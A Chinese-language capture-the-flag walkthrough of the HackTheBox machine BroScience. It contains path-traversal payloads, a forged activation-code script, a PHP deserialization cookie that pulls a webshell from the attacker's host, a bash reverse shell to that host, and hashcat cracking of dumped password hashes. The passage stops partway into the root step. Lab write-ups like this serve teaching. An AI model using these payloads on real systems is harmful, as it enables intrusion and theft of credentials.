玩转HTB靶场系列之BroScience

admin 2023年12月25日22:49:41评论29 views字数 24960阅读83分12秒阅读模式

攻击 BroScience 使用目录遍历/文件读取漏洞(任何称其为 LFI 的人减分)来获取网站的 PHP 源代码。首先,我将使用该代码伪造一个激活令牌,以允许我注册我的帐户。然后,源通过构建恶意 PHP 序列化对象、对其进行编码并将其作为我的 cookie 发送来提供利用反序列化漏洞所需的信息。这在盒子上提供了一个 webshell 和一个 shell。我会在数据库中找到一些可以破解的哈希值,从而找到下一个用户。这里的问题是包括站点范围内的盐。对于 root 来说,脚本中有一个命令注入来检查证书是否过期。我将制作一个恶意证书来执行注入以以 root 身份执行。

玩转HTB靶场系列之BroScience

玩转HTB靶场系列之BroScience

信息收集

nmap找到三个开放的 TCP 端口:SSH (22)、HTTP (80) 和 HTTPS (443):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.195Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:37 EDTNmap scan report for 10.10.11.195Host is up (0.087s latency).Not shown: 65532 closed portsPORT    STATE SERVICE22/tcp  open  ssh80/tcp  open  http443/tcp open  https
Nmap done: 1 IP address (1 host up) scanned in 7.02 secondsoxdf@hacky$ nmap -p 22,80,443 -sCV 10.10.11.195Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:37 EDTNmap scan report for 10.10.11.195Host is up (0.085s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)80/tcp open http Apache httpd 2.4.54|_http-server-header: Apache/2.4.54 (Debian)|_http-title: Did not follow redirect to https://broscience.htb/443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set|_http-server-header: Apache/2.4.54 (Debian)|_http-title: BroScience : Home| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT| Not valid before: 2022-07-14T19:48:36|_Not valid after: 2023-07-14T19:48:36| tls-alpn: |_ http/1.1Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 18.15 seconds


根据OpenSSH和Apache版本,主机可能运行 Debian 11 bullseye。

端口 80 HTTP 服务正在返回重定向到https://broscience.htb.

鉴于域名的使用,我将对 80 和 443 进行模糊测试,wfuzz以查看是否有任何子域返回不同的页面,但它没有找到任何内容。

BroScience.htb - TCP  443端口

该网站有很多关于举重的文章:

玩转HTB靶场系列之BroScience


尝试发表评论会进入登录页面 ( login.php)。有一个注册链接,但是当我注册时,消息表明我需要激活:

玩转HTB靶场系列之BroScience

如果我尝试登录,就会出现错误:

玩转HTB靶场系列之BroScience

网站应用

HTTP 标头显示 Apache:

HTTP/1.1 200 OKDate: Thu, 30 Mar 2023 19:59:13 GMTServer: Apache/2.4.54 (Debian)Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 9304Connection: closeContent-Type: text/html; charset=UTF-8

访问该站点表明它是一个基于文件扩展名的 PHP 站点。有一些 JavaScript 和 CSS 包,但没有一个看起来像框架。

查看页面源代码,我会注意到图像是通过奇怪的 PHP 路径加载的,而不是直接加载到静态文件:

玩转HTB靶场系列之BroScience

访问该网站后,会立即PHPSESSID设置一个 cookie:

HTTP/1.1 200 OKDate: Thu, 30 Mar 2023 21:25:06 GMTServer: Apache/2.4.54 (Debian)Set-Cookie: PHPSESSID=ggar5eo1euoclh581vijnvp017; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMT...[snip]...

这是一个标准的 PHP cookie。

目录暴力破解

我将feroxbuster针对该网站进行运行,并包含在内,-x php因为我知道该网站是 PHP。有大量的文件夹和看起来不有趣的东西,所以我将杀死并重新启动--no-recursion,即使在那里,也有很多:

oxdf@hacky$ feroxbuster -u https://broscience.htb -x php -k --no-recursion
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / _/ | | |__| |___ | | | __, __/ / | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.9.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ https://broscience.htb 🚀 Threads │ 50 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.9.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🚫 Do Not Recurse │ true───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 9l -w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter403 GET 9l 28w 280c https://broscience.htb/.html403 GET 9l 28w 280c https://broscience.htb/.php301 GET 9l 28w 321c https://broscience.htb/includes => https://broscience.htb/includes/403 GET 9l 28w 280c https://broscience.htb/.html.php200 GET 147l 510w 9304c https://broscience.htb/index.php301 GET 9l 28w 319c https://broscience.htb/images => https://broscience.htb/images/403 GET 9l 28w 280c https://broscience.htb/.htm200 GET 3l 7w 44c https://broscience.htb/styles/light.css200 GET 29l 70w 1309c https://broscience.htb/user.php200 GET 45l 104w 2161c https://broscience.htb/register.php200 GET 42l 97w 1936c https://broscience.htb/login.php403 GET 9l 28w 280c https://broscience.htb/.htm.php200 GET 28l 71w 1322c https://broscience.htb/exercise.php302 GET 0l 0w 0c https://broscience.htb/logout.php => https://broscience.htb/index.php302 GET 1l 3w 13c https://broscience.htb/comment.php => https://broscience.htb/login.php200 GET 1l 4w 39c https://broscience.htb/includes/img.php301 GET 9l 28w 319c https://broscience.htb/styles => https://broscience.htb/styles/200 GET 147l 510w 9304c https://broscience.htb/301 GET 9l 28w 323c https://broscience.htb/javascript => https://broscience.htb/javascript/301 GET 9l 28w 319c https://broscience.htb/manual => https://broscience.htb/manual/403 GET 9l 28w 280c https://broscience.htb/.htaccess403 GET 9l 28w 280c https://broscience.htb/.htaccess.php200 GET 28l 66w 1256c https://broscience.htb/activate.php...[snip]...302 GET 1l 3w 13c https://broscience.htb/update_user.php => https://broscience.htb/login.php...[snip]...

对于以.. 这里有趣的是activate.php。外壳作为 www-data,img.php 中的文件读取,访问/includes/img.php返回页面说path缺少参数:

玩转HTB靶场系列之BroScience

如果我尝试访问../路径中的任何内容,它只会返回“检测到攻击”:

玩转HTB靶场系列之BroScience

模糊测试

这里有一个非常好的遍历单词表,可以尝试各种测试。我将使用(在修复此错误之前wfuzz我无法使用)来尝试所有这些,过滤掉任何带有字符串“Attack”的响应以及任何大小为 0 的响应:ffuf

oxdf@hacky$ wfuzz -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt --hs Attack --hh 0********************************************************* Wfuzz 3.1.0 - The Web Fuzzer                         *********************************************************
Target: https://broscience.htb/includes/img.php?path=FUZZTotal requests: 4648
=====================================================================ID Response Lines Word Chars Payload =====================================================================
000000166: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fissue"000000165: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"000000162: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252f..%252fetc%252fissue"000000161: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"000000158: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252fetc%252fissue"000000157: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252fetc%252fpasswd"
Total time: 46.66168Processed Requests: 4648Filtered Requests: 4642Requests/sec.: 99.61064

这六个请求似乎都返回了数据。我将在 Firefox 中尝试一下:

oxdf@hacky$ curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...[snip]...bill:x:1000:1000:bill,,,:/home/bill:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinpostgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash_laurel:x:998:998::/var/log/laurel:/bin/false

有效载荷分析

这些有效负载似乎通过对/in 中的双重 URL 编码来绕过过滤器../。第一个 URL 编码采用/–> %2f。下一个 URL 编码(仅是%)采用%–> %25,将整个../内容转换为..%252f. 解码一次就会有效果..%2f,然后再次就会有效果../。

站点枚举

../index.php拉取主站点的源代码。在标题中,有对/includes/header.php和 的引用/includes/utils.php:

<?phpsession_start();?>
<html> <head> <title>BroScience : Home</title> <?php include_once 'includes/header.php'; include_once 'includes/utils.php'; $theme = get_theme(); ?> <link rel="stylesheet" href="styles/<?=$theme?>.css"> </head>...[snip]...

接下来,主体进行一些设置以及与数据库的连接:

...[snip]...    <body class="<?=get_theme_class($theme)?>">        <?php include_once 'includes/navbar.php'; ?>        <div class="uk-container uk-margin">             <!-- TODO: Search bar -->            <?php            include_once 'includes/db_connect.php';...[snip]...

接下来是对数据库的查询以进行练习,以及一个为每个结果创建文章的循环:

...[snip]...            // Load exercises            $res = pg_query($db_conn, 'SELECT exercises.id, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id');                                   if (pg_num_rows($res) > 0) {                echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';                while ($row = pg_fetch_row($res)) {                    ?>                    <div>...[snip]...

db_connect.php

从上面的代码中,我将检查/includes目录中的一些文件。path=..%252fincludes/db_connect.php返回包含密码的数据库信息:

<?php$db_host = "localhost";$db_port = "5432";$db_name = "broscience";$db_user = "dbuser";$db_pass = "RangeOfMotion%777";$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) { die("<b>Error</b>: Unable to connect to database");}?>

实用程序.php

/includes/utils.php有很多功能。顶部有一个生成激活码的函数:

function generate_activation_code() {           $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";              srand(time());                  $activation_code = "";                      for ($i = 0; $i < 32; $i++) {        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];    }                                           return $activation_code;}

它使用 播种伪随机数生成器time(),这是可疑的,并且可能是可利用的。

有一个get_theme函数旨在从 cookie 中读取用户偏好:

function get_theme() {    if (isset($_SESSION['id'])) {        if (!isset($_COOKIE['user-prefs'])) {            $up_cookie = base64_encode(serialize(new UserPrefs()));            setcookie('user-prefs', $up_cookie);        } else {            $up_cookie = $_COOKIE['user-prefs'];        }                                         $up = unserialize(base64_decode($up_cookie));        return $up->theme;    } else {        return "light";    }}

我对此特别感兴趣,因为它需要user-prefscookie,base64 对其进行解码,然后将其传递给unserialize,这可能会导致 PHP 反序列化漏洞。但这只是在设置了会话的情况下进行的,这意味着我需要先登录。

Avatar文件底部还有一个类:

class Avatar {    public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }}
class AvatarInterface { public $tmp; public $imgPath;
public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}?>

由于该方法,它显得很有趣__wakeup(),该方法是PHP 中的魔术方法。具体来说:

unserialize()检查是否存在具有魔术名称__wakeup()的函数。如果存在,此函数可以重建对象可能拥有的任何资源。

因此,如果我能让系统反序列化一个AvatarInterface对象,它将运行该__wakeup函数,该函数调用save写入文件的函数。这里有可能制作其中之一并将其放入user-prefscookie 中以进行文件写入。我会回来讨论这一点。

path=..%252factivate.php读取这个文件。重要的部分是它查找名为 的 GET 参数code:

...[snip]...if (isset($_GET['code'])) {    // Check if code is formatted correctly (regex)    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {        // Check for code in database...[snip]...

我会在Burp中找到我的注册请求并查看一下。这是一个帖子/register.php:

POST /register.php HTTP/1.1Host: broscience.htbCookie: PHPSESSID=qgq4oojk8u47ai44dv3ip3hks5User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Content-Type: application/x-www-form-urlencodedContent-Length: 85Origin: https://broscience.htbReferer: https://broscience.htb/register.phpTe: trailersConnection: close
username=0xdf&email=0xdf%40broscience.htb&password=0xdf0xdf&password-confirm=0xdf0xdf

响应标头包含服务器上的时间:

HTTP/1.1 200 OKDate: Thu, 30 Mar 2023 21:10:46 GMTServer: Apache/2.4.54 (Debian)Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 2433Connection: closeContent-Type: text/html; charset=UTF-8

我将编写一个简短的 PHP 脚本来生成代码。如果我只是制作一些打印 的 PHP time(),我会看到它以纪元时间戳的形式出现:

<?phpecho time() . 'n';?>
oxdf@hacky$ php generate_codes.php 1680210818

strtotime将从请求中的时间字符串给出相同的输出:

<?phpecho strtotime("Thu, 30 Mar 2023 21:10:46 GMT") . 'n';?>
oxdf@hacky$ php generate_codes.php 1680210646

我将引入generate_activation_code之前收集的函数,修改它以接受参数,并srand使用该参数而不是播种time():

<?php
function generate_activation_code($t) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand($t); $activation_code = ""; for ($i = 0; $i < 32; $i++) { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; } return $activation_code;}
$start = strtotime("Thu, 30 Mar 2023 21:10:46 GMT");for ($t = $start - 30; $t <= $start + 30; $t++) { echo generate_activation_code($t) . "n";}
?>

这将打印我注册时时间戳之前 30 秒和之后 30 秒的激活码(超出必要范围)。

法兹

我将把它们保存到一个文件中,然后运行它们wfuzz以尝试所有这些:

oxdf@hacky$ php generate_codes.php > codes.txtoxdf@hacky$ wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hs Invalid********************************************************* Wfuzz 3.1.0 - The Web Fuzzer                         *********************************************************
Target: https://broscience.htb/activate.php?code=FUZZTotal requests: 61
=====================================================================ID Response Lines Word Chars Payload=====================================================================
000000031: 200 27 L 65 W 1251 Ch "33bddQwMdlOCPl5Ex2sA5NRsRS8akH0l"
Total time: 1.322301Processed Requests: 61Filtered Requests: 60Requests/sec.: 46.13167

我使用它是--hs Invalid因为当代码错误时会出现字符串“Invalid”。我真的不在乎代码是什么,只关心它有效。

登录

现在,当我登录时,它可以工作:

玩转HTB靶场系列之BroScience

远程代码执行

登录时,它会设置另一个 cookie user-prefs:

HTTP/1.1 302 FoundDate: Thu, 30 Mar 2023 21:28:32 GMTServer: Apache/2.4.54 (Debian)Expires: Thu, 19 Nov 1981 08:52:00 GMTLocation: /index.phpSet-Cookie: user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D...[snip]...

这与我在代码中看到的反序列化的 cookie 相匹配。替换%3d为=(URL 解码),该 Base64 解码为:

oxdf@hacky$ echo Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30= | base64 -dO:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}

这是一个 PHP 序列化对象。

生成序列化有效负载

我将从中获取大量 PHP 代码utils.php并使用它来生成序列化对象。

<?php...[snip]...$avatar_interface = new AvatarInterface();$avatar_interface->tmp = "";$avatar_interface->imgPath = "";$cookie = base64_encode(serialize($avatar_interface));echo $cookie;?>

和Avatar类AvatarInterface未更改(未显示)。我将创建一个新AvatarInterface实例,并设置$tmp和$imgPath参数。然后,我将对结果进行序列化和 Base64 编码,然后将其写出。

$tmp那么和 的值是什么$imgPath?当unserialize在此 cookie 上调用 时,它将调用__wakeup的函数,用I 给定AvatarInterface创建一个新的。然后它会调用. 用于读取路径中文件的内容,并将其写入到.Avatar$imgPathsave$tmpsavefile_get_contents$tmp$imgPath

由于我想编写一个 webshell,所以我想写入 webroot。类似的东西./cmd.php会很好地工作。

获取 webshell 有点棘手。我可以采取几种方法来解决这个问题。该框的预期路径是更改我的用户名以包含 webshell,然后在 处引用我的会话文件//var/lib/php/sessions/sess_[session id]。

但file_get_contents也会通过网络阅读。所以我将其设置为一个 URL,例如http://10.10.14.6/cmd.php.

我的最终代码是:

<?php
class Avatar { public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) { $f = fopen($this->imgPath, "w"); fwrite($f, file_get_contents($tmp)); fclose($f); }}
class AvatarInterface { public $tmp; public $imgPath;
public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); }}
$avatar_interface = new AvatarInterface();$avatar_interface->tmp = "http://10.10.14.6/cmd.php";$avatar_interface->imgPath = "./cmd.php";$cookie = base64_encode(serialize($avatar_interface));echo $cookie;?>

运行此命令会生成一个 cookie:

oxdf@hacky$ php serialized_rce_gen.php | base64 -dO:15:"AvatarInterface":2:{s:3:"tmp";s:25:"http://10.10.14.6/cmd.php";s:7:"imgPath";s:9:"./cmd.php";}oxdf@hacky$ php serialized_rce_gen.php TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjYvY21kLnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vY21kLnBocCI7fQ==

我将创建一个名为的简单 Webshell cmd.php,并使用 Python 将其托管在我的网络服务器上:

oxdf@hacky$ cat cmd.php <?php system($_REQUEST['cmd']); ?>oxdf@hacky$ python -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

我将进入 Firefox 开发工具并用恶意 cookie 替换我的 cookie,然后刷新https://broscience.htb. 网络服务器有一个连接(实际上是三个):

10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -

并且/cmd.php存在于网络服务器上,并且它可以工作:

玩转HTB靶场系列之BroScience

我将在 Firefox 中输入bash 反向 shell& ,将 URL 编码为%26:

https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'

当我按下回车键时,我的听力中出现了一个 shell nc:

oxdf@hacky$ nc -lnvp 443Listening on 0.0.0.0 443Connection received on 10.10.11.195 44096bash: cannot set terminal process group (1235): Inappropriate ioctl for devicebash: no job control in this shellwww-data@broscience:/var/www/html$

我将升级shell

www-data@broscience:/var/www/html$ script /dev/null -c bashscript /dev/null -c bashScript started, output log file is '/dev/null'.www-data@broscience:/var/www/html$ ^Z[1]+  Stopped                 nc -lnvp 443oxdf@hacky$ stty raw -echo ;fgnc -lnvp 443            resetreset: unknown terminal type unknownTerminal type? screenwww-data@broscience:/var/www/html$

有一个用户在盒子上有一个主目录,bill,并且它有user.txt,但我还无法读取它:

www-data@broscience:/var/www/html$ ls /home/billwww-data@broscience:/var/www/html$ ls /home/bill/Certs    Documents  Music     Public     VideosDesktop  Downloads  Pictures  Templates  user.txtwww-data@broscience:/var/www/html$ cat /home/bill/user.txt cat: /home/bill/user.txt: Permission denied

数据库

我已经可以访问大部分网络文件了。但现在我可以使用来自以下位置的凭据连接到数据库db_connect.php:

<?php$db_host = "localhost";$db_port = "5432";$db_name = "broscience";$db_user = "dbuser";$db_pass = "RangeOfMotion%777";$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) { die("<b>Error</b>: Unable to connect to database");}?>

它是 Postgres,所以我将使用它psql进行连接,在出现提示时输入密码:

www-data@broscience:/var/www/html/includes$ psql -U dbuser -d broscience -h localhostPassword for user dbuser: psql (13.9 (Debian 13.9-0+deb11u1))SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)Type "help" for help.
broscience=>

broscience是唯一有趣的可访问数据库:

broscience=> list                                  List of databases    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   ------------+----------+----------+-------------+-------------+----------------------- broscience | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |  postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |  template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +            |          |          |             |             | postgres=CTc/postgres template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +            |          |          |             |             | postgres=CTc/postgres(4 rows)

它有三个表:

broscience=> dt           List of relations Schema |   Name    | Type  |  Owner   --------+-----------+-------+---------- public | comments  | table | postgres public | exercises | table | postgres public | users     | table | postgres(3 rows)

users除了我创建的帐户之外,该表还有五个用户:

broscience=> select * from users; id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          ----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------  1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | [email protected]          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected]       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04  4 | john          | a7eed23a7be6fe0d765197b1027453fe | [email protected]          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | [email protected]        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04  6 | 0xdf          | 79275232b2c9c937f145d7cc13d9339b | [email protected]          | nH8VDTNVuZpI2UPif9QdCsgXzCLJrbfY | t            | f        | 2023-03-30 20:13:51.584023-04(6 rows)

破解哈希值

0xdf 用户的密码是“0xdf”,哈希值看起来像 MD5(仅基于长度)。但仅采用“0xdf”的 MD5 是不匹配的:

oxdf@hacky$ echo -n "0xdf" | md5sum465e929fc1e0853025faad58fc8cb47d  -

我将查看registration.php,这两行是创建帐户并将其插入数据库的位置:

$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

密码是md5($db_salt . $_POST['password'])。同样的事情可以在 中观察到login.php:

// Check if username:password is correct$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));

$db_salt定义于db_connect.php:

$db_salt = "NaCl";

附加盐确实给出了 0xdf 密码的匹配哈希值:

oxdf@hacky$ echo -n "NaCl0xdf" | md5sum79275232b2c9c937f145d7cc13d9339b  -

格式化哈希

hashcat有一种模式,它将读取由 分隔的哈希和盐:。我将||在 postgres 中使用将字符串附加在一起以生成一个易于复制的列表:

broscience=> select username || ':' || password || ':NaCl' from users;                      ?column?                       ----------------------------------------------------- administrator:15657792073e8a843d4f91fc403454e1:NaCl bill:13edad4932da9dbb57d9cd15b66ed104:NaCl michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl john:a7eed23a7be6fe0d765197b1027453fe:NaCl dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl 0xdf:79275232b2c9c937f145d7cc13d9339b:NaCl(6 rows)

我将将该文件传递给hashcat并让它尝试识别哈希格式。该--user标志告诉我们将第一个字符串之前的字符串作为用户名hashcat分开。:它找到一堆可能的哈希格式,并打印它们的表格,要求我重新运行指定要使用的模式:

$ hashcat hashes --user /usr/share/wordlists/rockyou.txthashcat (v6.2.6) starting in autodetect mode...[snip]...The following 20 hash-modes match the structure of your input hash:
# | Name | Category ======+============================================================+====================================== 10 | md5($pass.$salt) | Raw Hash salted and/or iterated 20 | md5($salt.$pass) | Raw Hash salted and/or iterated 3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated 3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated 4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated 4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated 21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated 40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated 3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated 4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated 21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated 30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated 50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated 60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated 1100 | Domain Cached Credentials (DCC), MS Cache | Operating System 12 | PostgreSQL | Database Server 2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce 2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce 2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce 23 | Skype | Instant Messaging Service
Please specify the hash-mode with -m [hash-mode]....[snip]...

模式 20,md5($salt.$pass)看起来像这种情况。它破解了其中三个:

$ hashcat hashes --user -m 20 /usr/share/wordlists/rockyou.txthashcat (v6.2.6) starting...[snip]...13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym    5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest     bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples ...[snip]...

使用--show而不是单词列表运行将显示带有用户名的结果:

$ hashcat hashes --user -m 20 --showbill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgymmichael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2applesdmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest

bill是盒子上的用户,上面的列表中有bill的密码。使用该密码运行su可以获取 shell 作为 bill:

www-data@broscience:/var/www/html$ su - bill       Password: bill@broscience:~$

并允许访问user.txt:

bill@broscience:~$ cat user.txt511395d5************************

该密码也适用于 SSH:

oxdf@hacky$ sshpass -p 'iluvhorsesandgym' ssh [email protected]Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64...[snip]...bill@broscience:~$


以 root 身份进入 shell


这个盒子上没有太多其他可看的东西。bill的主目录基本上是空的。对网络代码的另一次审查并没有给出太多信息。

账单无法运行sudo:

bill@broscience:~$ sudo -l[sudo] password for bill: Sorry, user bill may not run sudo on broscience.

我没有看到任何不寻常的 SetUID / SetGID 二进制文件。

流程

转向正在运行的进程,ps auxww并没有透露出任何太有趣的东西。我将上传pspy来查找可能正在运行的 cron:

oxdf@hacky$ sshpass -p 'iluvhorsesandgym' scp /opt/pspy64 bill@broscience.htb:/dev/shm/pspy

看起来每两分钟就会有一个cron.sh脚本以 root 身份运行(UID=0):

2023/03/31 08:14:01 CMD: UID=0     PID=298411 | /usr/sbin/CRON -f 2023/03/31 08:14:01 CMD: UID=0     PID=298412 | /usr/sbin/CRON -f 2023/03/31 08:14:01 CMD: UID=0     PID=298413 | /bin/sh -c /root/cron.sh 2023/03/31 08:14:01 CMD: UID=0     PID=298414 | /bin/bash /root/cron.sh 2023/03/31 08:14:01 CMD: UID=0     PID=298415 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 2023/03/31 08:14:01 CMD: UID=0     PID=298416 | 2023/03/31 08:14:01 CMD: UID=0     PID=298417 | /bin/bash /root/cron.sh

它似乎运行/opt/renew_cert.sh在/home/bill/Certs/broscience.crt. 该Certs目录确实存在于 bill 的主目录中,但它是空的。

更新证书.sh

该 shell 脚本首先检查用法并在必要时运行帮助:

#!/bin/bash    
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then echo "Usage: $0 certificate.crt"; exit 0; fi

然后检查参数是否存在 ( [ -f $1 ]) 文件,如果不存在,则打印一条消息并退出。openssl当它是一个文件时,它在该文件上运行:

openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then echo "No need to renew yet."; exit 1; fi

如果输入证书在超过 86400 秒(一天)后过期,它将返回 0。如果它早于该时间过期(或者如果输入错误),它将返回 1,并继续。本文在实践中展示了这一点。

继续时,脚本将从现有证书中解析出变量:

subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
